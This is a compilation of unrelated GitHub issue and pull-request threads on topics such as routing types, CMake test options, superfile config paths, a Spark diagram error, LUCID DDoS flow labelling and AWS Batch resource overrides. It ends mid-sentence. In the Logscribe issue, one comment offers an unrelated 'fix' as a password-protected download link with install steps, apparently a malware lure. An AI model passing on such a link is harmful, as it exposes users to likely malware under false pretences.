Simplify RoutePattern type

This is a proof-of-concept intended to provoke some discussion about why the RoutePattern data type is as it is, and whether it can be modified to give users more power to write modular routing code.
I would like to write combinators for RoutePatterns, but it isn't possible to do anything very useful without duplicating the code that is in the internal function matchRoute. Examples of useful RoutePattern combinators would be matching either of two patterns, or both.
However, I noticed that matchRoute turns any RoutePattern into a function that would fit in the Function constructor. So, why do we need the other constructors?
This patch shows that if we move the logic from matchRoute out into the capture and literal functions, then the need for the various RoutePattern ADT constructors vanishes, and thus users' own combinators for routes no longer need to handle the different cases of RoutePattern.

this PR is massive and unreviewable by me. closing, but i will open an issue for me to investigate.


CMakeLists: Allow disabling tests

Fix #1560.
Add support for disabling the tests. If building libspdm as a library (for example in buildroot) we often don't want to build the tests, so add the option to disable the tests.

Would you please also update readme to show how to use this feature?

Done

I have added tests to the GitHub actions

@steven-bellock , we should not do "Merge branch"

@steven-bellock , we should not do "Merge branch"

Yeah that was Github. I'll revert.

I have rebased the PR


The Datepicker Previous and Next icons are displayed incorrectly in the Safari browser

Expected behaviour:
The datepicker Previous and Next icons on the calender should be visible.
Actual behaviour:
In the Safari browser the Previous and Next icons appear as indecipherable blobs.

Steps to reproduce:
Look at a plan with at dataepicker in Safari.
Related to #2065

adding this here if proof is required


Feedback

Hi @B-urb,
thank you for your efforts to make organized people's life a bit easier.
I love the idea in general, would like to make it more useful.
Currently, even when Doclytics processes documents, there is a certain manual work needs to be done on each document. The most routine things are, that IMHO could be easily done using LLMs:

Tagging
Selecting correct correspondent and/or creating it
TBH, all other custom tags are not making much difference in contrast to the ones I mentioned.
Would love to see improvements in before-mentioned directions, in your next iterations.

Hi @tural-ali, thanks for taking the time of giving feedback. I agree that tagging is a much needed feature. I already started development but had too little time in the last weeks. I will probably have a bit more time in the upcoming weeks. So will try to get this feature ready in the near future.

Just to give a quick update on this. I am  almost done with the implementation and hope I will have a RC by the end of next week.

The feature for filling the default fields is now available in 2.0.0-rc.1. Please be careful as it contains a breaking change regarding the configuration. See the Release Notes for more info.


custom config file not working on mac

Describe the bug
A clear and concise description of what the bug is.
Installed from homebrew.
After install, there's no ~/.config/superfile/config.toml or even the ~/.config/superfile/ folder.
I created the folder with mkdir -p ~/.config/superfile/, then touch & edited the config.toml followed from Tutorial, Themes section, nothting changed.
then I found ~/Library/Application\ Support/superfile/ folder and after edit config files it works.
Expected behavior
generate config files in ~/.config/superfile folder and overwrite the default ones.
Screenshots
If applicable, add screenshots to help explain your problem.
System information (please complete the following information):

OS: MacOS
Version 14.2.1 (23C71)
Superfile Version v1.1.2

https://github.com/adrg/xdg
So it's not technically a bug I think the documentation needs to be updated..

I actually update this in next version to make it easier for users to find the config file location.

Was also expecting to user .config folder. But for me even the Application Support folder doesn't seem to work. Tried with both creating the folder /superfile and putting the config.toml / hotkeys.toml directly in the Application Support folder. Any suggestions? Can't run spl pl either, just gets me into superfile with "pl" as a search term.

You should be running v1.1.2 v1.1.2 does not have this feature :(

I tried updating the config path in the src and rebuilding, to see if I could put the config files in the .config/superfile folder instead. But that doesn't seem to work either. Not really getting those hotkeys, and can't get a theme to apply either.
A note, do I need to put themes like "catppuccin-latte" in the superfile/theme folder to be able to use it, or should it be available to begin with.

@albinabc
Are you using the current branch version? If so, you can try changing the data in /src/config/fixed_variable.go.

Just updated to try, did the config in /src/config/fixed_variable.go as you mentioned, rebuilt and moved the executable (to a non-privileged folder and running from there instead), but no difference. So what I'm testing to check if it has applied if I close the application with q (I'm using the vim hotkeys file) and also if the theme specified in config.toml has applied. Nothing seems to apply, and as the screenshot in my previous message, the path looks right after running spf pl. The command spf eh yields nothing, is that expected?

Would you like to send your fixed_variable.go because I tested that it changes after updating it.
// ...

var HomeDir = xdg.Home
var SuperFileMainDir = "/home/nightcat/Documents/code/superfile" + "/superfile"
var SuperFileCacheDir = xdg.CacheHome + "/superfile"
var SuperFileDataDir = xdg.DataHome + "/superfile"
var SuperFileStateDir = xdg.StateHome + "/superfile"

// ...

I tested it a little bit and I probably know why, you should use full paths instead of relative paths (~).

Heyy that works!
I guess it's still a mystery as to why the original XDG path did not work for me, because then I hadn't fiddled with the paths or anything. But it's a viable workaround, thanks for the help!


Augment performance pipeline to run all perf tests, but still report statistics if available on failure

@tapspatel FYI gonna dump in any ideas for perf pipeline here.


[MINOR][DOC][SS] Event time can't be greater then processing time. 12:21, owl. Mistake…

… on image.
What changes were proposed in this pull request?
There is an error on image. Point 12:21 for owl can't have 12:19 processing time. Consequently new watermark should be computed on another data (12:15, cat). Donkey still will be rejected I suppose but I'm not sure whether those watermarks inclusive or exclusive. If watermark is set to 12:05 then I guess intermediate state for window 11:55(inclusive)-12:05(exclusive) could be cleared and there is no place for Donkey anymore. You need to change image and depending on how you will change it you need to adjust the text.
How was this patch tested?
No tests for docs.
Please review http://spark.apache.org/contributing.html before opening a pull request.

Can one of the admins verify this patch?

Can one of the admins verify this patch?

This patch needs to be changed before it can be merged. It is an image that involved in mistake and I don't have sources for image to change it nicely. Admins should verify and suggest next actions.

Will anyone take a look at this?

I agree. The (12:14, dog) event at 12:12 also happens "early". I suppose it could have been intentional, if the idea is to illustrate disagreement about time between the event producer and stream processor, but I'm not sure. At the least, it is an unnecessary twist, and suspect the example would be better without it.
@tdas do you have the source for the image?

When we are reading documentation not for example learning on the courses we do not expect such intentional mistakes.

I will have to spend some time to look into the issue. I can do it later next week. If there is a mistake, I apologize for it!! And I will fix it.

Can one of the admins verify this patch?

ok to test

Test build #108286 has started for PR 20677 at commit 1bf1017.

Hi, @tdas . Is this PR still valid?

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/testing-k8s-prb-make-spark-distribution-unified/13386/
Test PASSed.

Test build #108287 has started for PR 20677 at commit 1bf1017.

Test build #108286 has finished for PR 20677 at commit 1bf1017.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/108286/
Test PASSed.

Test build #108287 has finished for PR 20677 at commit 1bf1017.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/108287/
Test PASSed.

I'm pretty sure it is. We just don't have the original image to edit, unfortunately

Ah. Got it. Thanks!

For me, it looks correct. Data 12:21, owl arrives at 12:19 with the event time 12:21, doesn't it?

Point 12:21 for owl can't have 12:19 processing time.

As @srowen mentioned early here, this illustrates the event time which is the value of column timestamp. So, the event time value is different from X-axis. I'll close this PR for now. Please reopen this if this is not the case.

The example isn't impossible, it just shows, twice, that an event arrives with a timestamp in the future. This is possible if the event producer and consumer seriously disagree about time, like by 2 minutes. The more common case is that the producer/consumer agree on time, it's just that events arrive late sometimes. I therefore doubt it the intended setup is that, also, the producer/consumer are seriously out of sync; it's just an unusual complication that may confuse understanding of the picture.
I'd prefer to update the example, but we don't have the source image. @tdas did you ever find it?

Ur, @srowen . What I meant is the exiting example and illustration is already correct.

The example isn't impossible.

The current example and the illustration are already designed to show that situation you mentioned, aren't they? And, they also shows Spark works correctly on those cases.

I'm saying the example is not impossible, and internally consistent, so not wrong. But what it's illustrating doesn't seem to be the common important case here, which is handling of data whose arrival is delayed. It's also showing producer/consumers that are way out of sync. That's not impossible but pretty niche? the text doesn't address this as part of the setup, which makes me think it was not the intent.


(Logscribe) Redesign logscribe github issue creation for recurring errors

https://bisonai.slack.com/archives/C04772WQ3DW/p1724829520920049

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


SerialInputStream read function

There seems to be an issue with the SerialInputStream read to buffer function.
If the user calls the serialInput.read() to check for new data and afterwards calls serialInput.available() to find out how many more bytes are available the following call to serialInput.read(buffer) should obtain all the previous bytes of data obtained and only afterwards issue a issue a syncRead to get the rest of the data.
The current implementations makes it a bit more complex to implement communication API where the first byte of the message is always the size.

I'm having the same problem.


quitting causes a failure

Describe the bug
A clear and concise description of what the bug is.
Whenever i quit openlens 6.4.11 i get a popup saying it quit unexpectedly. even tho i clicked on quit!
To Reproduce
Steps to reproduce the behavior:

Go to '...' the file menu and click on "quit"

Expected behavior
A clear and concise description of what you expected to happen.
lens quits nices
Screenshots
If applicable, add screenshots to help explain your problem.

Environment (please complete the following information):

Lens Version: 6.4.11
OS: [e.g. OSX] osx 13.2
Installation method (e.g. snap or AppImage in Linux): brew

Logs:
When you run the application executable from command line you will see some logging output. Please paste them here:
Your logs go here...

Kubeconfig:
Quite often the problems are caused by malformed kubeconfig which the application tries to load. Please share your kubeconfig, remember to remove any secret and sensitive information.
your kubeconfig here

Additional context
Add any other context about the problem here.

Thanks, fix is being worked on


Place bid image placement

It's lower-left and should be centred.

what view are you referring to here, this view?

Yes that one.

This is no longer happening.


Label's judgment criteria ?

Dear @doriguzzi,
I am analyzing your Source code, and would like to ask how you judge DDoS & Benign traffic in the Label stage of
Traffic pre-processing?
In the Traffic pre-processing  file, I see that you explained using IP address to Label and 5-tuple(SrcIP, SrcPort, DstIP, DstPort, Protocol) &  features (f=11) mentioned in the paper, but I think What is the standard of judgment?
Thank you for listening 😃.

Hi,
you are right, IP addresses  are used to determine whether a flow is benign or part of a DDoS attack. The logic for labelling the flows in the pre-processing procedure consists of comparing source and destination IP addresses of packets with the IPs in the dictionaries that are defined at the beginning of the file lucid_dataset_parser.py.
For instance, let's consider the DDoS attack in the CIC-IDS2017 dataset. The attack is generated by the host with IP address <IP_ADDRESS> and targets a victim with IP address <IP_ADDRESS>, as defined in the dictionary:
IDS2017_DDOS_FLOWS = {'attackers': ['<IP_ADDRESS>'],                       'victims': ['<IP_ADDRESS>']}
Therefore, every flow with packets with such IP addresses in the header are labelled with label 1' (which means DDoS), all the others are considered benign and labelled with 0'.
Hope this clarifies.

Hi,
you are perfectly right, a 2-tuple with just source and destination IP addresses could be enough with the datasets that I used for testing. The 5-tuple has been introduced for the sake of generality, thus for more complex cases in which it is necessary a finer-grained flow classification. I mean those cases in which only part of the communication between two hosts is malicious. In such scenarios, you also need the TCP/UDP ports and the protocol information to avoid blocking regular traffic.
Said that, if you plan to use LUCID only with simple datasets, such as those from the University of New Brunswick, the IP addresses are enough.
Hope this clarifies.

Hi,
you are perfectly right, a 2-tuple with just source and destination IP addresses could be enough with the datasets that I used for testing. The 5-tuple has been introduced for the sake of generality, thus for more complex cases in which it is necessary a finer-grained flow classification. I mean those cases in which only part of the communication between two hosts is malicious. In such scenarios, you also need the TCP/UDP ports and the protocol information to avoid blocking regular traffic.
Said that, if you plan to use LUCID only with simple datasets, such as those from the University of New Brunswick, the IP addresses are enough.
Hope this clarifies.

Hi @doriguzzi
I'm actually just looking for this same answer. I'm trying to use LUCID with SWaT dataset (attacks in cyber physical systems), and it seems that just using IP addresses won't do because the packets are malformed between the two devices.
How should I initialize the 5-tuple for data labelling in lucid_data_parser.py?

Dear @doriguzzi,
Thanks for your answer 😃.
I have the same question as @vickyngo-code , except IP address(Src&Dst), how are other 3-tuple used for Label?
Because if DDoS attacks and normal traffic use Port80 (HTTP) to communicate, it may cause misjudgment?
Is the LUCID method mentioned? I only mentioned it in B. Lucid Model Architecture in the paper, but that is the part of CNN, not pre-processing.
Above, please correct me if I understand wrong, thanks😃!

Dear @doriguzzi,
Thanks for your answer 😃.
I have the same question as @vickyngo-code , except IP address(Src&Dst), how are other 3-tuple used for Label? Because if DDoS attacks and normal traffic use Port80 (HTTP) to communicate, it may cause misjudgment? Is the LUCID method mentioned? I only mentioned it in B. Lucid Model Architecture in the paper, but that is the part of CNN, not pre-processing.
Above, please correct me if I understand wrong, thanks😃!

Hi @abc744587,
Section A. Network traffic preprocessing did mention the traffic processing algorithm, and there are two parts features extraction and labellings that might be of your interest. It sorts of boils down to using flow identifier ID (e.g. DOS2017) to do the labellings.
When I examined the code, it looks like parse_labels() will eventually call process_pcap(), which will call parse_packets() and extracted 11 features as seen in Table II. It seems as if the other 3-tuple came from parse_packets().
That's why I'm confused at how are other 3-tuple are used as input for labelling, or if we are restricted with only using IP addresses. Clearly attacks such as false data injection (where packets are hijacked), do not have definite attackers or victims IP since the attacks themselves were executed from the 'inside', from my understanding.
Dear @doriguzzi
Aside from my question on initializing the 5-tuples, I'm just wondering if there are limits on what protocols LUCID can deal with? The SWaT dataset I mentioned mostly use CIP (common industrial protocol) and possibly Modbus. They both are based on TCP, however.
I attempted to deduce the attackers & victim IP addresses of the SWaT dataset and used that to process the data, but was unsuccessful.

Hi,
you are perfectly right, a 2-tuple with just source and destination IP addresses could be enough with the datasets that I used for testing. The 5-tuple has been introduced for the sake of generality, thus for more complex cases in which it is necessary a finer-grained flow classification. I mean those cases in which only part of the communication between two hosts is malicious. In such scenarios, you also need the TCP/UDP ports and the protocol information to avoid blocking regular traffic.
Said that, if you plan to use LUCID only with simple datasets, such as those from the University of New Brunswick, the IP addresses are enough.
Hope this clarifies.

Hi @doriguzzi
I'm actually just looking for this same answer. I'm trying to use LUCID with SWaT dataset (attacks in cyber physical systems), and it seems that just using IP addresses won't do because the packets are hijacked when they communicate between the two devices.
How should I initialize the 5-tuple for data labelling in lucid_data_parser.py?

Hi @vickyngo-code ,
in the cases in which the IP addresses are not enough, I would suggest creating a more complex structure such as
IDS2017_DDOS_FLOWS = {'attackers': [{IP:'<IP_ADDRESS>',port:12341}], 'victims': [{IP:'<IP_ADDRESS>',port:80}]}
Thus, a list of dictionaries, one dictionary for each attacker and each victim. I'm assuming you still deal with TCP/IP.
Of course, you also need to implement some extra checks in function parse_labels. But it shouldn't be too hard.
Hope this helps.
--roberto

Dear @doriguzzi Aside from my question on initializing the 5-tuples, I'm just wondering if there are limits on what protocols LUCID can deal with? The SWaT dataset I mentioned mostly use CIP (common industrial protocol) and possibly Modbus. They both are based on TCP, however.

Dear @vickyngo-code ,
LUCID is tightly implemented around the TCP/IP protocol. Therefore it works as long as the attackers and victims can be identified with the 5-tuple of IP, TCP/UDP ports and protocol.
In the case of other protocols, which might be implemented in the application layer, the current version of LUCID won't work, since it does not consider the content of the packets' payload.
I think you could adapt LUCID to work with other protocols if you find a dissector for TShark that supports that protocol. But, you also need to change quite deeply the method parse_packet, which extracts the packet's features from the TCP/IP header. In your case, you might want to extract different features that are more related to the protocol of interest.
Hope this clarifies a bit.
--roberto

Dear @doriguzzi Aside from my question on initializing the 5-tuples, I'm just wondering if there are limits on what protocols LUCID can deal with? The SWaT dataset I mentioned mostly use CIP (common industrial protocol) and possibly Modbus. They both are based on TCP, however.

Dear @vickyngo-code ,
LUCID is tightly implemented around the TCP/IP protocol. Therefore it works as long as the attackers and victims can be identified with the 5-tuple of IP, TCP/UDP ports and protocol. In the case of other protocols, which might be implemented in the application layer, the current version of LUCID won't work, since it does not consider the content of the packets' payload. I think you could adapt LUCID to work with other protocols if you find a dissector for TShark that supports that protocol. But, you also need to change quite deeply the method parse_packet, which extracts the packet's features from the TCP/IP header. In your case, you might want to extract different features that are more related to the protocol of interest.
Hope this clarifies a bit.
--roberto

Thank you so much for your reply. That clears things up for me. I suppose LUCID is using the signature-based detection approach?
The live inference section shows that a --dataset-type must be specified. How will the model use the addressing scheme in this case? Does it have something to do with the attackers & victims IP addresses in that addressing scheme? I imagine that the model is using the attack patterns in the addressing scheme that it learned, in which case the command below will probably returns a 0% accuracy.
(Specifying a different dataset type for live inference)
python3 lucid_cnn.py --predict_live eth0 --model ./sample-dataset/10t-10n-DOS2019-LUCID.h5 --dataset_type SYN2020

Dear @doriguzzi Aside from my question on initializing the 5-tuples, I'm just wondering if there are limits on what protocols LUCID can deal with? The SWaT dataset I mentioned mostly use CIP (common industrial protocol) and possibly Modbus. They both are based on TCP, however.

Dear @vickyngo-code ,
LUCID is tightly implemented around the TCP/IP protocol. Therefore it works as long as the attackers and victims can be identified with the 5-tuple of IP, TCP/UDP ports and protocol. In the case of other protocols, which might be implemented in the application layer, the current version of LUCID won't work, since it does not consider the content of the packets' payload. I think you could adapt LUCID to work with other protocols if you find a dissector for TShark that supports that protocol. But, you also need to change quite deeply the method parse_packet, which extracts the packet's features from the TCP/IP header. In your case, you might want to extract different features that are more related to the protocol of interest.
Hope this clarifies a bit.
--roberto

Thank you so much for your reply. That clears things up for me. I suppose LUCID is using the signature-based detection approach?
The live inference section shows that a --dataset-type must be specified. How will the model use the addressing scheme in this case? Does it have something to do with the attackers & victims IP addresses in that addressing scheme? I imagine that the model is using the attack patterns in the addressing scheme that it learned, in which case the command below will probably returns a 0% accuracy.
(Specifying a different dataset type for live inference) python3 lucid_cnn.py --predict_live eth0 --model ./sample-dataset/10t-10n-DOS2019-LUCID.h5 --dataset_type SYN2020

Hi,
let me first state that option --dataset-type is not mandatory for inference. If present, LUCID checks the attackers/victim addressing scheme specified in the dictionaries defined in the parser to print the classification statistics (accuracy, F1, TNR, etc.). If the dataset type is not specified, such statistics are not printed.
--dataset-type has been introduced only for testing reasons, to help the developer to test the system in online settings, for instance replaying one of the pcap files of one of the UNB datasets with tcpreplay. In the wild, this option is obviously not usable, as LUCID would print wrong statistics (even though the classification would not be affected).
In summary,   --dataset-type should be used to verify the accuracy of LUCID in online settings with the pcap files of the dataset used for training/validation/testing in offline settings. If the accuracy is very different from that obtained with the test set, there might be some problems in the transmission of the pcap file over the network (packet fragmentation, mismatch of MAC addresses, etc.)
--dataset-type should not be used in the wild, with unknown traffic, as it will cause LUCID to print wrong results (although the detection accuracy is not affected).
Hope this answer your questions.
--roberto


RestAPI  authentication and authorization

Initial issue to start discussion on  authentication and authorization for Keylimes RestAPIs

I think the Keylime RESTful APIs are already authenticated/authorized where necessary.  Is this referring to authorization/authentication of the tpm2-tools?  I think that is more of an upstream issue.

Would that be TLS?
I am thinking more of something like JWT , where by each request made is scoped with a level of access control.
We might have a case where someone wants to add a node , whilelist etc from their own system (in much  the same way as the keylime_tenant CLI application). As it stands anyone (network access permiting) can post to add / remove / update an agent , and there is no granular ACL to allow us to eventually build a multi tenant capable system.
If we have a token used for each request we can then have it scoped with an ACL and authenticated. The WebUI can then also layer on top of the same AA framework.

Gotcha, yeah that's much more fine-grained than the existing (where all tenants can control any registered machines).

@jetwhiz its a long ball this one, but essentially is about getting Keylime to the enterprise level


Migrate knowledgebase "backend" from github discussions to proper markdown repo

S: we started out just using github discussions https://github.com/orgs/comparethe/discussions
C: has several issues a) can't use obsidian or similar tools to manage content in github discussions (need markdown files in a repo for that) b) can't publish discussions to a website
H: let's move to a repo!
Tasks

[x] Create the repo ✅2024-12-09
[x] Publish with Flowershow ✅2024-12-09 https://flowershow.app/@rufuspollock/comparethe
[x] Set comparethe.org domain to that site ✅2024-12-09
[x] Stub the README to have useful content ✅2024-12-09 copied over content from github root page that was already developed
[ ] Sort the navbar to have a menu
[ ] Add the habit stuff

Nicer design
Extras

[ ] Setup google analytics


cj123/assetto-server-manager#271: Allow users to set LOCKED_ENTRY_LIST and PICKUP_MODE separately as they want

The issue comes directly from Kunos, there's not much we can do. Kunos is not dropping any further AC updates anyway.
We pretty much confirmed both options have their own different problems, at this point letting the user decide which setting to go for is the best option, IMO.

My worry about doing it like this is that Championships do their own things with these settings. Presenting this option in a Championship event will cause confusion, especially if it's not applied.
Also, I don't know how I feel about the descriptions for both being near-identical - it doesn't seem like this informs the user any better than what we have now?

My worry about doing it like this is that Championships do their own things with these settings. Presenting this option in a Championship event will cause confusion, especially if it's not applied.
Also, I don't know how I feel about the descriptions for both being near-identical - it doesn't seem like this informs the user any better than what we have now?

This whole thing creates a lot of confusion by itself even in single events, but it's Kunos that messed up here, and I don't think there's much we can do in order to fix their mess.
The descriptions are identical because it's pretty much the same thing, it's just that as I wrote, one is broken in some ways, the other one is broken in other ways.
Perhaps we could better tell users in which ways they are broken, this is the only thing we can do, as far as I see it.

Actually there would be another way: automatically switch between LOCKED_ENTRY_LIST and PICKUP_MODE_ENABLED according to what kind of event the user is starting.
If we have a 2-race event, we automatically switch LOCKED_ENTRY_LIST on and PICKUP_MODE_ENABLED off, and vice versa for any other event.
This would allow the user to only see a single switch.

@WraithStar I see that you've removed the "Note, when Locked Entry List is ON, sessions with Loop Mode ON will require players to rejoin the server when the server loops."
I think this actually related to pickup mode, so perhaps pickup mode needs a
"Note, when Pickup Mode is OFF, sessions with Loop Mode ON will require players to rejoin the server when the server loops."

Also, my worries about Championships are alleviated - I don't think any of this code could cause problems with it

Yeah even I am getting confused by this whole mess....
Anyway, updating as you suggested.

Thanks for this - lets see how it plays out :D


Content by search webpart on a team site page is not getting transformed by Site collection modernization script

Category
[ ] Bug
[ ] Enhancement
Problem Area
[ ] Page Transformation: Error during the use of page transformation from PnP PowerShell
Content by search webpart is not getting transformed to highlighted content web part using page transformation script.
Expected or Desired Behavior
Content search webpart should be replaced by highlighted content web part
Steps to Reproduce
I ran following script which is running successfully but Content by Search webpart is not getting transformed to Highlighted content webpart.
https://github.com/SharePoint/sp-dev-modernization/blob/master/Scripts/ModernizeSiteCollection/modernizesitecollection.ps1

Hi @abhishektyagi9 ,
Are you doing a cross-site modernization (create pages in another site collection) or an in-place modernization (create pages in the same site collection)? For cross-site modernization it's expected that the content by search web part is not transformed as mentioned here: https://docs.microsoft.com/en-us/sharepoint/dev/transform/modernize-userinterface-site-pages-webparts.
In case you're using in-place modernization can you then check that you're using the latest version and see if you still have the issue?

Hey @abhishektyagi9 ,
Wanted to verify if the above answer got you unblocked?

Hi @abhishektyagi9 ,
I'm closing this issue due to no further feedback. If you're still stuck then please create a new issue or re-open this one.

Yes thanks it was fixed.I was doing in place only but seems like powershell code installs old versions of SharePoint pnp but when I updated issue was fixed.
Thanks for follow-up.


update the html for footer

Checklists
General Checks

[x] the branch is up to date with main/master
[x] the code works when pulled and run locally
[x] All CI checks pass
[x] all conflicts are resolved (if any)
[x] PR has a descriptive title
[x] PR has appropriate labels and milestones for easy identification
[x] PR it is assigned to the owner
[x] reviewers are assigned
[x] the PR contributes only one focused change
[x] It is in the appropriate column in the project board (if necessary)
[x] has short and clear description
[x] is linked to an issue (if it is related)
[x] feedback is addressed (if any and if it is appropriate feedback.)

Markdown

[x] the markdown source is formatted
[x] spelling and grammar is correct in all text
[x] The markdown looks correct when you preview the file
[x] all links and images work

@Tesfay20 you can close this PR- you have created the new one and doesn't want this one anymore. :)


prometheus-pushgateway: 1.2.0 -> 1.3.0

Motivation for this change
https://github.com/prometheus/pushgateway/releases/tag/v1.3.0
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[x] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[x] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

This change is

The prometheus test suite fails due to a thanos upgrade (#102112), but it doesn't look like pushgateway is affected.


x/build/cmd/gopherbot: adjust gopherbot suggestion for x/wiki

The robot spotted two issues in the commit message of CL/556115.
Re: point1 - x/wiki is not organized based on packages. So, the suggestion doesn't seem very relevant.
Re: point2 - maybe too much to ask for a CL to fix a single typo fix? (debatable) Since this is a GitHub PR workflow CL, this needs to be fixed from the github PR page, but most of us don't have permission to do so.

cc @golang/release

CC @thepudds. Is this something you're interested in taking a look at? Thanks.

Hi @dmitshur -- yes, I will plan to address this soon. The gerritbot rules have not yet been updated to take into account the existence of wiki repo.
The solution for point 1 is straightforward. The best solution for point 2 might be slightly debatable. I'll post a couple brief thoughts on that in a bit.
Thanks for the ping!


Update RBIs

Needed for https://github.com/Shopify/ruby-lsp-rails/pull/59
Ran bin/tapioca gem

(I had initially includes the RBI for Psych, which wasn't present previously but is added by bin/tapioca gem. It introduces a lot of type errors, I didn't yet look into why).


Is there any way to increase the VCPU and Memory when starting a state machine?

I've just been testing running a state machines by passing params e.g.,
{
    "params": {
        "queue": "DataQualityWorkflowsLowPriority",
        "environment": {
            "REFERENCE_NAME": "Homo_sapiens_assembly38",
            "SAMPLE_ID": "NIST7035",
            "SOURCE_DATA_PREFIX": "s3://dataqualityworkflowszone-zonebucket-mtwqpz9vrde0/samples/",
            "JOB_OUTPUT_PREFIX": "s3://dataqualityworkflowscode-jobresultsbucket-1b2pb00b6cyfl",
            "JOB_AWS_CLI_PATH": "/opt/miniconda/bin"
        },
        "chromosomes": [
            "chr19",
            "chr20",
            "chr21",
            "chr22"
        ]
    }
}

Is there a way to increase the default RAM when starting a new job?

That's something you have to define when you submit a batch job.
https://docs.aws.amazon.com/step-functions/latest/dg/connect-batch.html
You must define the values in the StepFunction JSON/YAML, under containersOverrides (https://docs.aws.amazon.com/batch/latest/APIReference/API_SubmitJob.html#Batch-SubmitJob-request-containerOverrides) then resourcesRequirements (https://docs.aws.amazon.com/batch/latest/APIReference/API_ResourceRequirement.html) for each batch job definition.
Do not define them under containerOverrides, vcpus and memory directly because those have been deprecated.
Actually you must edit all the batch job definitions in main.yaml because these have been defined with vcpus and memory directly, which are now deprecated. I think if you do not do that, the values you try to pass will be overriden.

So is there any way to override the default from your workflow JSON/YAML at runtime?

Sure :
 "BwaMem": {
          "Type": "Task",
          "ResultPath": null,
          "Resource": "arn:aws:states:::batch:submitJob.sync",
          "Parameters": {
              "JobName": "bwa-mem",
              "JobDefinition.$": "$.jobdefs.bwa",
              "JobQueue.$": "$.params.queue",
              "ContainerOverrides": {
                    "ResourceRequirements": [
                        {
                            "Type": "VCPU",
                            "Value.$": "$.params.vcpus.bwa.at.runtime"
                        },
                        {
                            "Type": "MEMORY",
                            "Value.$": "$.params.memory.bwa.at.runtime"
                        }
                    ],
                  "Command": [
                      "bwa",
                      "mem",
                      "-R",
                      "Ref::HEADER",
                      "-t",
                      "4",
                      "-o",
                      "Ref::SAM_FILE",
                      "Ref::REFERENCE",
                      "Ref::READ_R1",
                      "Ref::READ_R2"
                  ]
              },
              "Parameters": {
                  "HEADER.$": "States.Format('@RG\\\\tID:{}\\\\tSM:{}\\\\tPL:ILLUMINA', $.FastqId, $.SampleId)",
                  "SAM_FILE.$": "States.Format('{}/{}.sam', $.SampleId, $.FastqId)",
                  "REFERENCE.$": "States.Format('references/{}.fna', $.REFERENCE_NAME)",
                  "READ_R1.$": "States.Format('{}/{}_{}', $.SampleId, $.FastqId, $.reads.suffix_R1)",
                  "READ_R2.$": "States.Format('{}/{}_{}', $.SampleId, $.FastqId, $.reads.suffix_R2)"
              }
          },
          "Next": "SamtoolsSort"
      }

@sachalau - with this configuration; how do you start the state machine?

Not sure I understood your question, but it was a really lame path for demonstration :
{"params":{"memory":{"bwa":{"at":{"runtime":10000}}}}}

@sachalau - one more question about this.  I updated the ResourceRequirements as you suggested and when I run the state machine with the memory/vcpu params, I get still get a deprecation warning This value was submitted using containerOverrides.vcpus which has been deprecated and was not used as an override. Instead, the VCPU value found in the job definition’s resourceRequirements key was used instead. More information about the deprecated key can be found in the AWS Batch API documentation. Learn more
I am thinking I also need to update the batch job definition?
Currently it's,
BatchJobDefinitionFastp:
  Type: "AWS::Batch::JobDefinition"
  Properties:
    JobDefinitionName: !Sub ${ProjectLowerCase}-fastp
    Type: container #required
    ContainerProperties:
      Image: !Sub ${AWS::AccountId}.dkr.ecr.${AWS::Region}.amazonaws.com/${ProjectLowerCase}-fastp
      Vcpus: 8
      Memory: 16000
      Volumes:
        - Host:
            SourcePath: /opt/miniconda
          Name: awscli
      MountPoints:
        - ContainerPath: /opt/miniconda
          SourceVolume: awscli

Would I need to update this as well? I was thinking something like,
BatchJobDefinitionFastp:
  Type: "AWS::Batch::JobDefinition"
  Properties:
    JobDefinitionName: !Sub ${ProjectLowerCase}-fastp
    Type: container #required
    ContainerProperties:
      Image: !Sub ${AWS::AccountId}.dkr.ecr.${AWS::Region}.amazonaws.com/${ProjectLowerCase}-fastp
      ResourceRequirements:
          Vcpus: 8
          Memory: 16000
      Volumes:
        - Host:
            SourcePath: /opt/miniconda
          Name: awscli
      MountPoints:
        - ContainerPath: /opt/miniconda
          SourceVolume: awscli

Almost :
BatchJobDefinitionFastp:
  Type: "AWS::Batch::JobDefinition"
  Properties:
    JobDefinitionName: !Sub ${ProjectLowerCase}-fastp
    Type: container #required
    ContainerProperties:
      Image: !Sub ${AWS::AccountId}.dkr.ecr.${AWS::Region}.amazonaws.com/${ProjectLowerCase}-fastp
      ResourceRequirements:
         - Name: VCPU
           Value: 8
         - Name: MEMORY
           Value: 16000
      Volumes:
        - Host:
            SourcePath: /opt/miniconda
          Name: awscli
      MountPoints:
        - ContainerPath: /opt/miniconda
          SourceVolume: awscli

https://docs.aws.amazon.com/fr_fr/AWSCloudFormation/latest/UserGuide/aws-properties-batch-jobdefinition-resourcerequirement.html


Update PHPStan

Bumps PHPStan to the new version ^1.0
Adds a few common extensions and the extension installer

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 77.017%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
315

Relevant Lines:
409

💛  - Coveralls


Deprecation notice: move background function to relevant operations, affects embed/extend/flatten

This is advance warning that the background method will be deprecated in v0.21.0 and instead become separate options of the operations it affects.
embed
The following:
sharp(input)
  .background({
    r: 0,
    g: 255,
    b: 0,
    alpha: 0.1
  })
  .resize(200, 300)
  .embed()
  ...

when combined with #1135 will become:
